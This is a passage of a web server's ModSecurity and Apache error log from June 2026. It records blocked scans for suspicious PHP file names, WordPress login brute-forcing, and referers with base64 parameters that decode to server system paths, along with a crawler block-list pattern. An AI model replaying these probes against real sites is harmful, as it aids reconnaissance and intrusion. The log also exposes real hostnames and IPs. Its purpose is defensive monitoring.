531797:tid 531999] [client 191.234.188.123:28229] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/cvngrth.php"] [unique_id "ai3w7MTA7b1mZrmcA-8PZAAAAhc"] [Sat Jun 13 18:08:12.234299 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.40:64622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:12.234757 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.40:64622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:12.290819 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R0bQ== [Sat Jun 13 18:08:12.291260 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R0bQ== [Sat Jun 13 18:08:12.322961 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.44:33463] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:12.323237 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.44:33463] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:12.417185 2026] [security2:error] [pid 531797:tid 531924] [remote 45.236.128.46:46016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3w7MTA7b1mZrmcA-8PbwACNDw"], referer: https://nelsonfarmstn.com/wp-login.php [Sat Jun 13 18:08:12.536965 2026] [security2:error] [pid 531155:tid 531378] [client 191.233.234.186:60666] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/12.php"] [unique_id "ai3w7CmiP80klyS0NnrpSAAAAWc"] [Sat Jun 13 18:08:12.653935 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:12.654362 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:12.702787 2026] [security2:error] [pid 531155:tid 531408] [client 191.234.188.123:63909] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/bjeni.php"] [unique_id "ai3w7CmiP80klyS0NnrpTQAAAYU"] [Sat Jun 13 18:08:12.791488 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:08:12.791919 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:08:12.835223 2026] [access_compat:error] [pid 531797:tid 531893] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3B5dGhvbjMuOQ== [Sat Jun 13 18:08:12.835671 2026] [access_compat:error] [pid 531797:tid 531893] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3B5dGhvbjMuOQ== [Sat Jun 13 18:08:12.888931 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.15:25457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:12.889203 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.15:25457] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:13.077721 2026] [access_compat:error] [pid 531797:tid 531971] [remote 57.141.14.41:62773] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:13.078062 2026] [access_compat:error] [pid 531797:tid 531971] [remote 57.141.14.41:62773] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:13.117560 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:13.117893 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:13.275519 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:13.275828 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:13.319530 2026] [security2:error] [pid 531797:tid 532038] [client 191.233.234.186:44738] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/flox.php"] [unique_id "ai3w7cTA7b1mZrmcA-8PhQAAAj0"] [Sat Jun 13 18:08:13.319646 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R1bg== [Sat Jun 13 18:08:13.319941 2026] [access_compat:error] [pid 531797:tid 531921] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL3R1bg== [Sat Jun 13 18:08:13.543988 2026] [security2:error] [pid 531797:tid 531888] [remote 17.22.253.164:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 164.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7cTA7b1mZrmcA-8PjAACbRg"] [Sat Jun 13 18:08:13.578518 2026] [security2:error] [pid 531797:tid 532006] [client 20.9.67.71:64525] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/12.php"] [unique_id "ai3w7cTA7b1mZrmcA-8PjgAAAh4"] [Sat Jun 13 18:08:13.657057 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:13.657530 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:13.771749 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.111:48692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:13.772188 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.111:48692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:13.783221 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:08:13.783532 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2s= [Sat Jun 13 18:08:13.876688 2026] [security2:error] [pid 531155:tid 531363] [client 20.151.217.54:65236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/flox.php"] [unique_id "ai3w7SmiP80klyS0NnrpYgAAAVg"] [Sat Jun 13 18:08:13.876754 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL25mcw== [Sat Jun 13 18:08:13.877201 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL25mcw== [Sat Jun 13 18:08:13.983606 2026] [security2:error] [pid 531155:tid 531188] [remote 17.241.75.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7SmiP80klyS0NnrpZAABFCA"] [Sat Jun 13 18:08:14.070846 2026] [security2:error] [pid 531797:tid 532012] [client 20.151.217.54:46266] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/s-axi.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PoAAAAiQ"] [Sat Jun 13 18:08:14.144133 2026] [security2:error] [pid 531155:tid 531369] [client 191.234.188.123:64623] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xx.php"] [unique_id "ai3w7imiP80klyS0NnrpZwAAAV4"] [Sat Jun 13 18:08:14.170189 2026] [security2:error] [pid 531797:tid 531937] [remote 17.246.23.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PogACb0k"] [Sat Jun 13 18:08:14.186339 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:14.186621 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:14.256689 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:14.257110 2026] [access_compat:error] [pid 531155:tid 531230] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9ldmVudDYvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:14.337031 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.83:42272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:14.337492 2026] [access_compat:error] [pid 531797:tid 531894] [remote 57.141.14.83:42272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:14.395199 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL21zcg== [Sat Jun 13 18:08:14.395480 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL21zcg== [Sat Jun 13 18:08:14.401929 2026] [security2:error] [pid 531797:tid 531890] [remote 17.22.245.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PqwACJxo"] [Sat Jun 13 18:08:14.525852 2026] [security2:error] [pid 531797:tid 531945] [remote 18.97.14.86:50672] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "kentraneotitas.org"] [uri "/pages/%CE%BA%CE%B5%CE%BD%CF%84%CF%81%CE%B1_%CE%BD%CE%B5%CE%BF%CF%84%CE%B7%CF%84%CE%B1%CF%83/"] [unique_id "ai3w7sTA7b1mZrmcA-8PrgACHVE"] [Sat Jun 13 18:08:14.526022 2026] [security2:error] [pid 531797:tid 532005] [client 18.97.14.86:50672] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "kentraneotitas.org"] [uri "/pages/%CE%BA%CE%B5%CE%BD%CF%84%CF%81%CE%B1_%CE%BD%CE%B5%CE%BF%CF%84%CE%B7%CF%84%CE%B1%CF%83/"] [unique_id "ai3w7sTA7b1mZrmcA-8PrgACHVE"] [Sat Jun 13 18:08:14.680889 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.29:26291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:14.681183 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.29:26291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:14.758851 2026] [security2:error] [pid 531797:tid 532110] [client 172.171.3.232:22065] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/sf.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PuQAAAoM"] [Sat Jun 13 18:08:14.775406 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:14.775696 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:08:14.810514 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:08:14.811000 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:08:14.887051 2026] [security2:error] [pid 531797:tid 531874] [remote 17.246.19.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3w7sTA7b1mZrmcA-8PvgACYwo"] [Sat Jun 13 18:08:14.916780 2026] [security2:error] [pid 